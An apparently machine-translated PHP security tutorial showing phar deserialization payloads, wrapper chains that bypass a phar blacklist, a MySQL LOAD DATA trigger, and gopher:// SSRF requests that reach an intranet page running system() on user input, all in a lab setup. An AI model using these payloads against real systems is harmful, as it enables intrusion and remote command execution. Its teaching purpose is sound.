Utilization of phar protocol and gopher protocol in SSRF

When learning about SSRF vulnerabilities, we often only focus on the file protocol, because the utilization method is simple. In fact, with the improvement of php version and the specification of programming technology, fewer and fewer vulnerabilities can be directly exploited, so it is necessary to learn to use phar and gopher protocols.

phar protocol

The reason for the anti sequence vulnerability in php is that we first need an unserialize() function to handle the controllable serialized payload we passed in. However, if the content passed in by unserialize() is limited, and there is no available unserialize() function, the deserialization operation can be triggered with the help of phar protocol

The phar stream wrapper cannot manipulate remote files, nor can it manipulate remote files, so even if allow is disabled_ url_ Fopen and allow_ url_ The include ini option also allows the use of a phar stream wrapper.

Examples of official documents

How to create a phar file in the directory

<?php
$p = new PharData(dirname(__FILE__).'/phartest.zip', 0,'phartest',Phar::ZIP) ;
$p->addFromString('testfile.txt','this is just some test text');
// This works
echo file_get_contents('phar://phartest.zip/testfile.txt');
echo "<br>";
$f = fopen('phar://D:\\phpstudy_pro\\WWW\\phartest.zip\\testfile.txt','r');
echo $f;

After running the above code, we will get the phartest.zip file in the website directory, and get the file content and the class of fopen operation.

If you use file_put_content cannot create a file

file_put_contents('phar://phartest.zip/testfile.txt','Thist is text for testfile.txt');

$context = stream_context_create(array('phar' =>array('compress' =>Phar::ZIP)));
file_put_contents('phar://phartest.zip/testfile.txt','Thist is text for testfile.txt',0,$context);

Deserialization with phar file

<?php
	//Deserialize payload construct
    class TestObject {
    }
    
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //Suffix must be phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 

	//Put the deserialized object into the file
    $o = new TestObject();
    $o->data='just a test';
    $phar->setMetadata($o);

	//phar is essentially a compressed package, so you need to add compressed files and file contents
    $phar->addFromString("test.txt", "test"); 
    $phar->stopBuffering();
?>

Use file_get_contents view the file as follows

Why is the phar file that needs to be deserialized so complex

  1. The identification format of phar file header is XXX + <? php __ HALT_ COMPILER(); ?>, Only such a format can be recognized as a phar file
  2. If phar is a compressed file, the information of the compressed file will exist in the second segment of manifest description, which is the poc for serialization
  3. The contents of the compressed file are stored in the third paragraph, that is, text.txt in the payload above
  4. The digital signature is the fourth paragraph of the phar

Use scenario

Now that you know how to generate a phar file, it involves the usage scenario of the file.

Many functions support phar. Here's a picture to see

<?php
	class TestObject{
		function __destruct(){
			echo $this->data;
		}
	}

	unlink("phar://D:\\phpstudy_pro\\WWW\\phar.phar\\test.txt");
?>

The above code will be triggered when the object is destroyed__ The destruct() method outputs the data attribute of the corresponding object of the TestObject class. Here, unlink is used to include the phar file just generated. You can see that the deserialization is successful and the field just a test is output on the web page

In addition, there are other protocol writing methods. If we set the blacklist as follows, will phar deserialization be completely avoided

	if(preg_match("/^phar/i",$data)){
		die("no");
	}

No, the agreement here is more than that.

data=php://filter/read=convert.base64-encode/resource=phar://D:\phpstudy_pro\WWW\phar.phar\test.txt
compress.zlib://phar://D:\phpstudy_pro\WWW\phar.phar\test.txt

In this way, the serialization can be completed, but the protocol is used for dolls. Pay attention to whether the function supports this protocol. If we use unlink to process the data here, an error will be reported.

mysql triggers phar deserialization

In the Web environment, the client connects from the Web server. The user can use LOAD DATA LOCAL to read any file that the Web server process has read access rights (assuming that the user can run any command of the SQL Server)

You can see that although there are some small problems here, the data is still inserted.

Here, you only need to modify the include part of the script to execute the mysql query.

<?php
	class TestObject{
		function __destruct(){
			echo $this->data;
		}
	}
	
	$m = mysqli_init();
	mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
	$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'sectest', 3306);
	$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://D:\phpstudy_pro\WWW\phar.phar\test.txt\' INTO TABLE users');
?>

Thus, any place that supports phar protocol for file operation may trigger such a vulnerability.

gopher protocol

Simple use of the protocol

Gopher protocol supports sending get and post requests: you can intercept the get request package and post request package first to form a request conforming to gopher protocol. Gopher protocol is the most powerful protocol in ssrf utilization

So how to use this protocol to initiate a gopher request? Similar to http requests, we use curl contracting, and finally the server can obtain data.

<?php echo $_GET['name'];?>

Use gopher to send a GET request to the server

curl gopher://192.168.50.121:80/_GET%20/index.php%3fname=SleepU12%20HTTP/1.1%0d%0AHost:%20192.168.50.121%0d%0A

Using gopher protocol to initiate post request

curl gopher://192.168.50.121:80/_POST%20/index.php%20HTTP/1.1%0d%0AHost:192.168.50.121%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:13%0d%0A%0d%0Aname=SleepU12%0d%0A

Attacking intranet hosts using gopher protocol

ubuntu: 10.0.2.15
windows: 192.168.50.121

php web services provided by apache server on ubuntu

<?php
highlight_file(__FILE__);
$x = $_GET['x'];
$pos = strpos($x,"php");
if($pos){
        exit("denied");
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"$x");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result;
?>

Here is a copy of the ctf question. If you want to bypass the above strpos, you can use ph%2570

http://10.0.2.15/index.php?x=http://192.168.50.121

You can see the details of php services on windows

<?php 
highlight_file(__FILE__);
system($_GET['a']);
?>

Here, we can exploit the SSRF vulnerability on the ubuntu web server to attack the web server on windows

gopher%3a%2f%2f192.168.50.121%3a80%2f_GET%2520%2findex.php%253fa%3dcalc%2520HTTP%2f1.1%250d%250Ahost%3a%2520192.168.50.121%250d%250A

Note: the parameters here are url encoded, and the uppercase letters in the parameters should not be converted to lowercase

As you can see, here we call up the calculator

Tags: PHP security

Posted on Tue, 07 Sep 2021 19:43:59 -0400 by - - NC - -